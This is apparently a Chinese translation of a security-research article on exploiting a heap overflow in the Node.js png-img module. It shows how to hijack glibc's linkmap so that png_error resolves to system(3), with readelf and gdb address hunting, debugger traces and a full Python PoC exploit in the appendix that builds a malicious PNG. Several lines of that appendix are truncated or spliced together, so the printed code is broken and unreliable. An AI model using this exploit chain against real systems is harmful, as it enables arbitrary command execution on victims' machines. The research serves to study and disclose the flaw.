深入考察解釋型語(yǔ)言背后隱藏的攻擊面,Part 2(四)
在本文中,我們將深入地探討,在通過(guò)外部函數(shù)接口(Foreign Function Interface,F(xiàn)FI)將基于C/C++的庫(kù)“粘合”到解釋語(yǔ)言的過(guò)程中,安全漏洞是如何產(chǎn)生的。
接上文:
- 《深入考察解釋型語(yǔ)言背后隱藏的攻擊面,Part 1(上)》
- 《深入考察解釋型語(yǔ)言背后隱藏的攻擊面,Part 1(下)》
- 《深入考察解釋型語(yǔ)言背后隱藏的攻擊面,Part 2(一)》
- 《深入考察解釋型語(yǔ)言背后隱藏的攻擊面,Part 2(二)》
- 《深入考察解釋型語(yǔ)言背后隱藏的攻擊面,Part 2(三)》
戰(zhàn)略規(guī)劃
我們知道,雖然已經(jīng)可以完全控制linkmap,但我們?nèi)詿o(wú)法控制通過(guò)硬編碼PLT參數(shù)傳遞給解析器代碼的reloc_arg參數(shù),在我們的示例中,png_error的參數(shù)為0x11d(285)。這個(gè)值的作用,是用作png-img模塊的重定位段(.rela.plt) 的索引。
- anticomputer@dc1:~$ readelf -r ~/node_modules/png-img/build/Release/png_img.node
- …
- Relocation section '.rela.plt' at offset 0x9410 contains 378 entries:
- Offset Info Type Sym. Value Sym. Name + Addend
- …
- 000000263900 011000000007 R_X86_64_JUMP_SLO 000000000001cae0 png_error + 0
- ...
除此之外,我們也不知道被破壞的linkmap在內(nèi)存中的位置。同時(shí),由于堆的基地址是隨機(jī)的,所以,我們唯一已知的數(shù)據(jù)都是拜測(cè)試平臺(tái)上node二進(jìn)制文件的非PIE特性所賜。因此,我們?nèi)匀粺o(wú)法在內(nèi)存中的已知位置處偽造相應(yīng)的段,以便與我們精心制作的linkmap一起使用。
盡管如此,我們現(xiàn)在已經(jīng)到了有趣的部分:制定戰(zhàn)略,考慮如何將我們的堆內(nèi)存控制與我們對(duì)解析器和目標(biāo)二進(jìn)制的了解結(jié)合起來(lái),重定向執(zhí)行流程。
我們的既定目標(biāo)是通過(guò)加載帶有png-img的惡意PNG來(lái)執(zhí)行任意命令。
針對(duì)任意命令執(zhí)行的頭腦風(fēng)暴
我們回憶一下,png_ptr分塊與linkmap分塊是相鄰的。并且,linkmap的第一個(gè)字段是l_addr字段,這個(gè)字段應(yīng)該就是庫(kù)的基地址,各種重定位和函數(shù)偏移都是以它為基礎(chǔ)的。
我們可以覆蓋堆數(shù)據(jù),粒度為rowbytes,簡(jiǎn)單來(lái)說(shuō)就是我們PNG圖片的寬度。libpng接受的最小的rowbytes值與用于溢出的高度值結(jié)合起來(lái)就是3,也就是說(shuō),我們可以采取的最小的堆覆蓋步驟是每行迭代3個(gè)字節(jié)。在little endian平臺(tái)上,我們可以覆蓋linkmap的l_addr字段中最低有效字節(jié),以使png_error解析在其預(yù)期的函數(shù)起始地址之外,而不會(huì)破壞linkmap中的任何其他指針。然而,這使得我們無(wú)法在調(diào)用錯(cuò)誤對(duì)齊的png_error時(shí)控制png_ptr參數(shù),因?yàn)榭刂七@些數(shù)據(jù)需要覆蓋一個(gè)完整的linkmap。事實(shí)證明,在png_error附近沒(méi)有足夠多的有用指令來(lái)控制進(jìn)程。由于ASLR的原因,我們無(wú)法對(duì)l_addr進(jìn)行更激進(jìn)的局部覆蓋,因?yàn)槲覀兒芸炀蜁?huì)碰到庫(kù)基地址的熵區(qū)域,而且我們只有一次嘗試機(jī)會(huì)。
所以,我們需要重新規(guī)劃一下。
理想情況下,我們?cè)O(shè)計(jì)一個(gè)場(chǎng)景,其中我們可以為png_error重定位索引285提供任意重定位記錄。這樣的話,我們就能夠完全控制(偽造的)符號(hào)表的索引。
我們可以將node的GOT段(其中包含許多已經(jīng)解析好的libc指針)用作一個(gè)偽造的符號(hào)表,這樣我們精心制作的重定位記錄就能以獲取一個(gè)現(xiàn)有l(wèi)ibc地址作為符號(hào)的sym->st_value的方式來(lái)索引node GOT。然后,我們可以借助對(duì)l->l_addr的控制能力,從這個(gè)現(xiàn)有的libc地址進(jìn)行偏移,并將執(zhí)行重定向到我們希望的任何其他libc的.text段地址。
由于我們可以在解析png_error時(shí)控制加載到rdi寄存器中的png_ptr數(shù)據(jù)(即,根據(jù)Linux 64bit intel平臺(tái)上使用的System V AMD64 ABI的第一個(gè)參數(shù)),我們可以設(shè)法解析為system(3),并從我們控制之下的png_ptr數(shù)據(jù)中提供一個(gè)任意的命令來(lái)執(zhí)行。
由于最終修復(fù)的重定位偏移量也處于我們精心制作的重定位記錄的控制之下,所以,我們可以簡(jiǎn)單地將l->l_addr值加到它上面,并將其指向某個(gè)安全的內(nèi)存位置,以便在控制進(jìn)程之前,在重定位修復(fù)中幸存下來(lái)。
這將是一個(gè)理想的方案。不過(guò),當(dāng)前面臨的挑戰(zhàn)是:在已知位置沒(méi)有受控?cái)?shù)據(jù),也無(wú)法控制reloc_arg的情況下,我們?nèi)绾翁峁┤我獾闹囟ㄎ挥涗?
曙光乍現(xiàn)
面對(duì)上面所說(shuō)的挑戰(zhàn),一個(gè)重要的線索是,l_info[DT_JMPREL]是通過(guò)對(duì)指向.dynamic段的指針以解除引用的方式獲得的。前面說(shuō)過(guò),解析器并不直接引用它需要訪問(wèn)的各個(gè)段,而是獲取指向所需節(jié)的.dynamic條目的指針,然后查詢其d_ptr字段以獲得指向相關(guān)段的實(shí)際指針。
更直白地說(shuō),解析器將使用我們的受控指針來(lái)獲取l_info[DT_JMPREL],并在該指針的偏移量8處,獲取另一個(gè)指針值,這個(gè)指針值應(yīng)該就是實(shí)際的段地址。
這對(duì)我們有什么幫助呢?
好吧,我們說(shuō)過(guò):我們可以把data_分塊放到堆上的任意位置,但我們無(wú)法可靠地把它擠在linkmap和png_ptr分塊之間。但是,如果我們把它放在linkmap分塊前面的某個(gè)地方會(huì)怎樣呢?這將導(dǎo)致覆蓋大量的堆空間,從而控制這些堆空間中的內(nèi)容。
在利用漏洞的時(shí)候,我們與堆的交互是非常有限的,因?yàn)闆](méi)有很多的分配或釋放操作發(fā)生。實(shí)際上,我們只是在一個(gè)循環(huán)中,簡(jiǎn)單地將我們控制的數(shù)據(jù)行寫入堆中,直到用完行數(shù)據(jù),這時(shí),png_error的解析邏輯就啟動(dòng)了。
所以,至少在我們的PoC場(chǎng)景中,我們可以有效地覆蓋相當(dāng)一部分堆內(nèi)存,直到達(dá)到我們需要控制的數(shù)量為止,這不會(huì)帶來(lái)太多的穩(wěn)定性問(wèn)題。
我們還知道,我們處理的是一個(gè)非PIE二進(jìn)制文件。所以,我們知道它的.data段的具體地址。在node的.data段中,會(huì)含有大量的結(jié)構(gòu)體,這些結(jié)構(gòu)體在運(yùn)行時(shí)可能含有指向堆內(nèi)存的指針。如果我們覆蓋了堆中足夠多的內(nèi)存空間,其中一些指針就可能指向我們控制的數(shù)據(jù),準(zhǔn)確來(lái)說(shuō),這些指針將位于.data段的靜態(tài)位置。
那么,如果我們重新調(diào)整其中一個(gè).data位置的用途,將其用于我們的l_info[DT_JMPREL]的.dynamic條目指針,結(jié)果會(huì)如何呢?我們也許可以用它來(lái)為 _dl_fixup 提供一個(gè)完全受控的重定位記錄。由于在我們的目標(biāo)平臺(tái)上,重定位記錄的大小是24(3x8字節(jié)),而png_error reloc_arg的大小是285,只要我們可以將正確對(duì)齊的重定位記錄放置在距獲取堆指針的node .data的285x24偏移處,我們就應(yīng)該能夠破壞解析器的邏輯。
隨后,我們可以使用類似的方法找到一個(gè)靜態(tài)位置,在+8處包含一個(gè)指向node二進(jìn)制代碼GOT的指針,并將其用作l_info [DT_SYMTAB] .dynamic條目指針。在與制作好的重定位記錄一致的情況下,我們可以索引到節(jié)點(diǎn)GOT中,從而獲得一個(gè)現(xiàn)有的libc指針值,并使用我們制作好的linkmap的l_addr字段作為到一個(gè)所需的libc函數(shù)的增量,在我們的例子中,這個(gè)函數(shù)就是system(3)。

綜合起來(lái)
現(xiàn)在,我們已經(jīng)有了一個(gè)初步的漏洞利用策略,我們就必須收集所有的要素,來(lái)將我們的攻擊計(jì)劃付諸實(shí)施。
從漏洞利用的可靠性的角度來(lái)看,我們當(dāng)前策略的缺點(diǎn)是它高度依賴二進(jìn)制代碼,并且對(duì)堆布局高度敏感。因此,我們認(rèn)為這充其量只能算是一個(gè)PoC。因?yàn)樗叨纫蕾囉谠絹?lái)越少見的非PIE node的二進(jìn)制代碼,以及從data_ chunks到linkmap和png_ptr chunks的可預(yù)測(cè)堆偏移。
話雖如此,我們拿它在啟用了各種防御功能的系統(tǒng)上來(lái)練練手,還是非常不錯(cuò)的。
為了把我們的策略付諸實(shí)施,我們需要:
- 能把溢出分塊放到linkmap分塊的前面data_分塊的合適大小。
- data_ 分塊和linkmap分塊之間的偏移量。
- 從node二進(jìn)制代碼GOT到偏移量的合適的libc指針。
- 一個(gè)已知的node指針,指向一個(gè)指向node GOT基址的指針。
- 一個(gè)已知的node指針,指向一個(gè)指向受控堆內(nèi)存的指針。
- 從源libc指針到目標(biāo)libc函數(shù)指針的偏移量。
- 一個(gè)用于接收最終的_dl_fixup重定位寫入的安全的內(nèi)存區(qū)域。
首先,讓我們找到一個(gè)合適的空閑塊,以便在調(diào)用PngImg::PngImg構(gòu)造函數(shù)時(shí),可以將data_分塊保存到這個(gè)空閑塊中。我們可以使用gef的heap bins命令來(lái)顯示哪些bins有可用的空閑分塊,以及它們?cè)趦?nèi)存中的位置。
我們要尋找的是一個(gè)與linkmap分塊的位置離得較遠(yuǎn)的分塊,這樣我們就有很好的機(jī)會(huì)通過(guò)node的.data的堆指針從堆中提供可控的重定位記錄。但是,我們也不想因?yàn)閾?dān)心不穩(wěn)定而破壞整個(gè)堆的內(nèi)容。
我們可以在unsorted的bin中找到一個(gè)看似合適的大小為0x2010的空閑塊:
- ─────────────────────────────────────── Unsorted Bin for arena 'main_arena' ───────────────────────────────────────[+] unsorted_bins[0]: fw=0x271f0b0, bk=0x272c610
- → Chunk(addr=0x271f0c0, size=0x2010, flags=PREV_INUSE) → Chunk(addr=0x2722ef0, size=0x1b30, flags=PREV_INUSE) → Chunk(addr=0x2717400, size=0x430, flags=PREV_INUSE) → Chunk(addr=0x272c620, size=0x4450, flags=PREV_INUSE)
- [+] Found 4 chunks in unsorted bin.
通過(guò)將data_ size設(shè)置為0x2010,我們可以將這個(gè)空閑塊塞進(jìn)這個(gè)位于偏移量0x3950處的分塊中,這個(gè)分塊最終將成為我們的linkmap分塊。當(dāng)然,這個(gè)假設(shè)在任何現(xiàn)實(shí)情形下都是非常不穩(wěn)定的,但在我們的練習(xí)中,不妨假設(shè)它是成立的。
同時(shí),我們讓rowbytes(寬度)取值為16,以便為堆溢出提供一個(gè)已經(jīng)對(duì)齊的、細(xì)粒度的寫入原語(yǔ)。
我們注意到,由于符號(hào)表項(xiàng)長(zhǎng)24個(gè)字節(jié),而St_value字段在Symbol結(jié)構(gòu)體中的偏移量為8,所以,我們從node二進(jìn)制GOT中選擇的libc指針(用作St_value),必須位于距24字節(jié)對(duì)齊索引的偏移量8處。例如,一個(gè)指定Symtab索引為1的重定位記錄,將意味著在node GOT的偏移量32處取值,并將其作為Symbol的st_value。
我們還注意到,偽造的符號(hào)條目的st_other字段決定了我們是否在_dl_fixup中根據(jù)符號(hào)的可見性來(lái)進(jìn)入更復(fù)雜的符號(hào)查找路徑。因?yàn)槲覀兿矚g盡可能地保持簡(jiǎn)單,所以,對(duì)于在我們的st_value字段之前的GOT條目,應(yīng)該設(shè)法不讓它通過(guò)_dl_fixup中的if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)的檢查。這實(shí)際上只是意味著偽造的符號(hào)表?xiàng)l目中st_other字段(字節(jié)6)的低2位不應(yīng)該是0。當(dāng)然,這需要一定的運(yùn)氣,但大多數(shù)GOT段中都存在符合這一要求的指針。另外,可見性檢查是使用以下宏完成的:
- elf.h:
- /* How to extract and insert information held in the st_other field. */
- #define ELF32_ST_VISIBILITY(o) ((o) & 0x03)
- /* For ELF64 the definitions are the same. */
- #define ELF64_ST_VISIBILITY(o) ELF32_ST_VISIBILITY (o)
- /* Symbol visibility specification encoded in the st_other field. */
- #define STV_DEFAULT 0 /* Default symbol visibility rules */
- #define STV_INTERNAL 1 /* Processor specific hidden class */
- #define STV_HIDDEN 2 /* Sym unavailable in other modules */
- #define STV_PROTECTED 3 /* Not preemptible, not exported */
在我們的測(cè)試平臺(tái)上,getockopt的node二進(jìn)制GOT條目很符合我們的要求:它的前面有一個(gè)指針值,這個(gè)指針值會(huì)通過(guò)ST_VISIBILITY檢查,這樣我們就不必在linkmap中使用更復(fù)雜的解析器邏輯。所以,我們將使用getockopt來(lái)偏移到所需的系統(tǒng)libc目標(biāo)。這兩個(gè)libc偏移量之間的差值將是我們?cè)趌inkmaps l_addr字段中設(shè)置的delta值。
接下來(lái),讓我們首先從node二進(jìn)制代碼中收集我們需要的所有地址信息。
- # grab the libc offsets of getsockopt and system using readelf -s,
- anticomputer@dc1:~$ readelf -s /lib/x86_64-linux-gnu/libc-2.27.so
- ...
- 1403: 000000000004f550 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
- 959: 0000000000122830 36 FUNC WEAK DEFAULT 13 getsockopt@@GLIBC_2.2.5
- # determine the node binary GOT entry for getsockopt with readelf -r
- anticomputer@dc1:~$ readelf -r /usr/bin/node | grep getsockopt
- 00000264d8f8 011800000007 R_X86_64_JUMP_SLO 0000000000000000 getsockopt@GLIBC_2.2.5 + 0
- # grab the node GOT section start address with readelf -t
- anticomputer@dc1:~$ readelf -t /usr/bin/node
- There are 40 section headers, starting at offset 0x274f120:
- Section Headers:
- [Nr] Name
- Type Address Offset Link
- Size EntSize Info Align
- Flags
- …
- [26] .got
- PROGBITS PROGBITS 000000000264d038 000000000204d038 0
- 0000000000000fc8 0000000000000008 0 8
- [0000000000000003]: WRITE, ALLOC
接下來(lái),我們必須在node的.data段中尋找這樣一個(gè)堆指針,它指向位于我們控制的偏移量285x24處的數(shù)據(jù)。通過(guò)一個(gè)小型的GDB腳本,我們就可以很快找到符合要求的候選者。我們的腳本將搜索node的.data段,以尋找位于我們控制的數(shù)據(jù)區(qū)域內(nèi)或其附近的堆指針。
注意:在啟用ASLR后,這些堆地址將在每次運(yùn)行時(shí)發(fā)生變化,所以這個(gè)腳本示例只與我們的調(diào)試會(huì)話快照相關(guān)。然而,當(dāng)實(shí)際運(yùn)行漏洞利用代碼時(shí),考慮到面對(duì)的是非PIE型的node二進(jìn)制代碼,所以,我們可以預(yù)期得到一個(gè)一致的.data指針位置,并期望該位置將包含用于實(shí)際運(yùn)行上下文的可用堆指針。
- gef? set $c=(unsigned long long *)0x264c000
- gef?
- gef? set $done=1
- gef? while ($done)
- >if ((*$c&0xffffffffffff0000)==0x02720000)
- >set $done=0
- >end
- >set $c=$c+1
- >end
- gef? p/x $c
- $551 = 0x26598c8
- gef? x/3gx (*($c-1))+285*24
- 0x2726508: 0x00007fff00000013 0x0000000000000000
- 0x2726518: 0x0000000000000021
- gef? set $done=1
- gef? while ($done)
- >if ((*$c&0xffffffffffff0000)==0x02720000)
- >set $done=0
- >end
- >set $c=$c+1
- >end
- gef? p/x $c
- $552 = 0x265b9e8
- gef? x/3gx (*($c-1))+285*24
- 0x2722f10: 0x4141414141414141 0x4141414141414141
- 0x2722f20: 0x4141414141414141
- gef? x/x 0x265b9e0
- 0x265b9e0
- gef?
所以我們找到了一個(gè)潛在可用的.data位置(0x265b9e0),該位置將包含一個(gè)位于偏移量285x24處的堆指針,該指針將指向受控?cái)?shù)據(jù)。
最后,我們必須在node二進(jìn)制代碼中找到這樣一個(gè)位置:它在+8處包含一個(gè)指向node的.got段的指針。這并非難事,因?yàn)閚ode二進(jìn)制代碼肯定會(huì)引用各個(gè)二進(jìn)制段。
- objdump -h:
- 25 .got 00000fc8 000000000264d038 000000000264d038 0204d038 2**3
- (gdb) set $p=(unsigned long long *)0x400000 # search from node .text base upwards
- (gdb) while (*$p!=0x000000000264d038)
- >set $p=$p+1
- >end
- (gdb) x/x $p
- 0x244cf20: 0x000000000264d038
- (gdb)
現(xiàn)在,我們已經(jīng)收集好了所有的素材,這樣就可以編寫PoC代碼了。總結(jié)一下,我們將構(gòu)建一個(gè)偽造的linkmap,它符合以下約束條件:
- l_addr字段將是libc的getockopt偏移量和libc的系統(tǒng)偏移量之間的增量。
- l_info[DT_STRTAB]條目將是一些有效的指針值,因?yàn)槲覀兊哪康氖翘^(guò)基于字符串的符號(hào)查找,它只需要能夠安全地解除引用即可。
- l_info[DT_SYMTAB]條目將是一個(gè)指向某個(gè)位置的指針,該位置在+8處有一個(gè)指向node的.got段起始地址的指針。
- l_info[DT_JMPREL]條目將是指向某個(gè)位置的指針,該位置在+8處包含一個(gè)堆指針,該指針基于png_error解析的reloc_arg值指向偏移量285 x 24處的受控偽造重定位記錄。
偽造的重定位記錄將為偽造的符號(hào)表(node的二進(jìn)制代碼的.got段)提供一個(gè)索引,這樣符號(hào)的st_value字段就是之前解析的指向getockopt的libc指針。它還將提供一個(gè)重定位偏移量(它是相對(duì)于safe-to-write內(nèi)存區(qū)域的),這樣我們的成果就可以在_dl_fixup中的最后一次重定位寫入操作后幸存下來(lái)。
解析器將把我們?cè)趌inkmap的l_addr字段中設(shè)置的libc增量與偽造的符號(hào)的st_value字段相加,其中st_value字段存放的是解析的getsockopt libc函數(shù)指針值。相加之后,得到的就是system(3)函數(shù)的libc地址。
由于我們還破壞了png_error的png_ptr參數(shù),因此,當(dāng)我們最終從為png_error劫持的_dl_resolve跳轉(zhuǎn)到system(3)時(shí),我們能夠提供并執(zhí)行任意命令。對(duì)于我們的PoC來(lái)說(shuō),我們將執(zhí)行“touch /tmp/itworked”命令。
用我們的PoC腳本準(zhǔn)備好觸發(fā)漏洞的PNG文件后,就可以將其移動(dòng)到我們的調(diào)試環(huán)境中了:
- ? ~ ? python3 x_trigger.py
- ? ~ ? file trigger.png
- trigger.png: PNG image data, 16 x 268435968, 8-bit grayscale, non-interlaced
- ? ~ ? scp trigger.png anticomputer@builder:~/
- trigger.png 100% 1024 1.7MB/s 00:00
- ? ~ ?
我們先在調(diào)試器里面運(yùn)行易受攻擊的node程序,并將斷點(diǎn)設(shè)置在system(3)上:
- gef? r ~/pngimg.js
- ...
- [#0] 0x7ffff6ac6fc0 → do_system(line=0x2722ef0 "touch /tmp/itworked #", 'P'
- [#1] 0x7ffff4030e63 → png_read_row()
- [#2] 0x7ffff4032899 → png_read_image()
- [#3] 0x7ffff40226d8 → PngImg::PngImg(char const*, unsigned long)()
- [#4] 0x7ffff401c8fa → PngImgAdapter::New(Nan::FunctionCallbackInfo
- [#5] 0x7ffff401c56f → _ZN3Nan3impL23FunctionCallbackWrapperERKN2v820FunctionCallbackInfoINS1_5ValueEEE()
- [#6] 0xb9041b → v8::internal::MaybeHandle
- [#7] 0xb9277d → v8::internal::Builtins::InvokeApiFunction(v8::internal::Isolate*, bool, v8::internal::Handle
- [#8] 0xea2cc1 → v8::internal::Execution::New(v8::internal::Isolate*, v8::internal::Handle
- [#9] 0xb28ed6 → v8::Function::NewInstanceWithSideEffectType(v8::Local
- ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
- Thread 1 "node" hit Breakpoint 1, do_system (line=0x2722ef0 "touch /tmp/itworked #", 'P'
- 56 {
- gef? p "success!"
- $1 = "success!"
- gef?
太棒了!看起來(lái)代碼在調(diào)試階段一切正常。現(xiàn)在,讓我們?cè)跊](méi)有附加調(diào)試器的情況下運(yùn)行一下。
- anticomputer@dc1:~/glibc/glibc-2.27/elf$ rm /tmp/itworked
- anticomputer@dc1:~/glibc/glibc-2.27/elf$ /usr/bin/node ~/pngimg.js
- Segmentation fault (core dumped)
- anticomputer@dc1:~/glibc/glibc-2.27/elf$ ls -alrt /tmp/itworked
- -rw-rw-r-- 1 anticomputer anticomputer 0 Nov 23 20:53 /tmp/itworked
- anticomputer@dc1:~/glibc/glibc-2.27/elf$
盡管node進(jìn)程確實(shí)因?yàn)槎褤p壞而發(fā)生了崩潰,但是,這一切都發(fā)生在實(shí)現(xiàn)任意命令執(zhí)行之后。
無(wú)論如何,我們的任務(wù)已經(jīng)完成了。
我們的PoC開發(fā)任務(wù)現(xiàn)在已經(jīng)大功告成:我們已經(jīng)為利用png-img FFI漏洞成功打通了所有環(huán)節(jié)。雖然從攻擊者的角度來(lái)看,可靠性仍然是現(xiàn)實(shí)利用過(guò)程中的一個(gè)令人擔(dān)憂的問(wèn)題,但這足以讓我們證明該漏洞的潛在影響。
讀者可以在附錄A中找到完整的exploit代碼。
小結(jié)
在本系列文章中,我們以Node.js FFI漏洞的利用過(guò)程為例,為讀者深入介紹了隱藏在解釋型語(yǔ)言底層攻擊面。當(dāng)然,我們的最終目標(biāo)是為大家演示內(nèi)存安全漏洞是如何通過(guò)基于FFI的攻擊面潛入解釋型語(yǔ)言應(yīng)用程序的。同時(shí),我們?yōu)樽x者介紹了exploit的開發(fā)之旅,并演示了攻擊者是如何評(píng)估代碼中的bug的潛在利用價(jià)值的。
附錄A: png-img PoC exploit
- # PoC exploit for GHSL-2020-142, linkmap hijack demo
- """
- anticomputer@dc1:~/glibc/glibc-2.27/elf$ uname -a
- Linux dc1 4.15.0-122-generic #124-Ubuntu SMP Thu Oct 15 13:03:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
- anticomputer@dc1:~/glibc/glibc-2.27/elf$ node -v
- v10.22.0
- anticomputer@dc1:~/glibc/glibc-2.27/elf$ npm list png-img
- /home/anticomputer
- └── png-img@2.3.0
- anticomputer@dc1:~/glibc/glibc-2.27/elf$ cat /etc/lsb-release
- DISTRIB_ID=Ubuntu
- DISTRIB_RELEASE=18.04
- DISTRIB_CODENAME=bionic
- DISTRIB_DESCRIPTION="Ubuntu 18.04.4 LTS"
- """
- from PIL import Image
- import os
- import struct
- import sys
- import zlib
- def patch(path, offset, data):
- f = open(path, 'r+b')
- f.seek(offset)
- f.write(data)
- f.close()
- # libc binary info
- libc_system_off = 0x000000000004f550
- libc_getsockopt_off = 0x0000000000122830
- libc_delta = (libc_system_off - libc_getsockopt_off) & 0xffffffffffffffff
- # node binary info
- node_getsockopt_got = 0x00000264d8f8
- node_got_section_start = 0x000000000264d038
- node_safe_ptr = 0x000000000264e000 + 0x1000
- # calculate what our reloc index should be to align getsockopt as sym->st_value
- node_reloc_index_wanted = int((node_getsockopt_got-node_got_section_start)/8) - 1
- if node_reloc_index_wanted % 3:
- print("[x] node .got entry not aligned to reloc record size ...")
- sys.exit(0)
- node_reloc_index = int(node_reloc_index_wanted/3)
- # our l_info['DT_SYMTAB'] entry is pointer that at +8 has a pointer to node's got section
- dt_symtab_p = 0x244cf20-8
- # our l_info['DT_JMPREL'] entry is a pointer that at +8 has a heap pointer to our fake reloc records
- dt_jmprel_p = 0x265b9e0-8
- # our l_info['DT_STRTAB'] entry is just some valid pointer since we skip string lookups
- dt_symtab_pdt_symtab_p = dt_symtab_p
- # build our heap overwrite
- trigger = 'trigger.png'
- heap_rewrite = b''
- # pixel bits is 8, set rowbytes to 16 via width
- width = 0x10
- heap_data_to_linkmap_off = 0x3950-0x10 # offset from data_ chunk to linkmap chunk
- heap_data_chunk_size = 0x2010 # needs to be aligned on width
- heap_linkmap_chunk_size = 0x4e0
- # spray fake reloc records up until linkmap chunk data
- fake_reloc_record = b''
- fake_reloc_record += struct.pack('<Q', (node_safe_ptr - libc_delta) & 0xffffffffffffffff) # r_offset
- fake_reloc_record += struct.pack('<Q', (node_reloc_index<<32) | 7) # r_info, type: ELF_MACHINE_JMP_SLOT
- fake_reloc_record += struct.pack('<Q', 0xdeadc0dedeadc0de) # r_addend
- reloc_record_spray = b''
- reloc_align = b''
- reloc_record_spray += reloc_align
- reloc_record_spray += fake_reloc_record * int((heap_data_to_linkmap_off-len(reloc_align))/24)
- reloc_record_spray += b'P' * (heap_data_to_linkmap_off-len(reloc_record_spray))
- heap_rewrite += reloc_record_spray
- # linkmap chunk overwrite
- fake_linkmap = b''
- # linkmap chunk header
- fake_linkmap += struct.pack('<Q', 0x4141414141414141)
- fake_linkmap += struct.pack('<Q', 0x4141414141414141) # keep PREV_INUSE
- # start of linkmap data
- fake_linkmap += struct.pack('
- fake_linkmap += struct.pack('<Q', 0xdeadc1dedeadc0de) * 12 # pad
- fake_linkmap += struct.pack('
- fake_linkmap += struct.pack('
- fake_linkmap += struct.pack('<Q', 0xdeadc2dedeadc0de) * 16 # pad
- fake_linkmap += struct.pack('
- # pad up until png_ptr chunk
- fake_linkmap += b'P' * (heap_linkmap_chunk_size-len(fake_linkmap))
- heap_rewrite += fake_linkmap
- # png_ptr chunk overwrite, this is where we pack our argument to system(3)
- cmd = b'touch /tmp/itworked #'
- png_ptr = b''
- # png_ptr chunk header
- png_ptr += struct.pack('L', crc))
- # for playing with the early file allocation itself
- f = open(trigger, 'ab')
- f_size = os.path.getsize(trigger)
- f_size_wanted = 1024
- f.write(b'P'* (f_size_wanted - f_size))
- f.close()
本文翻譯自:https://securitylab.github.com/research/now-you-c-me-part-two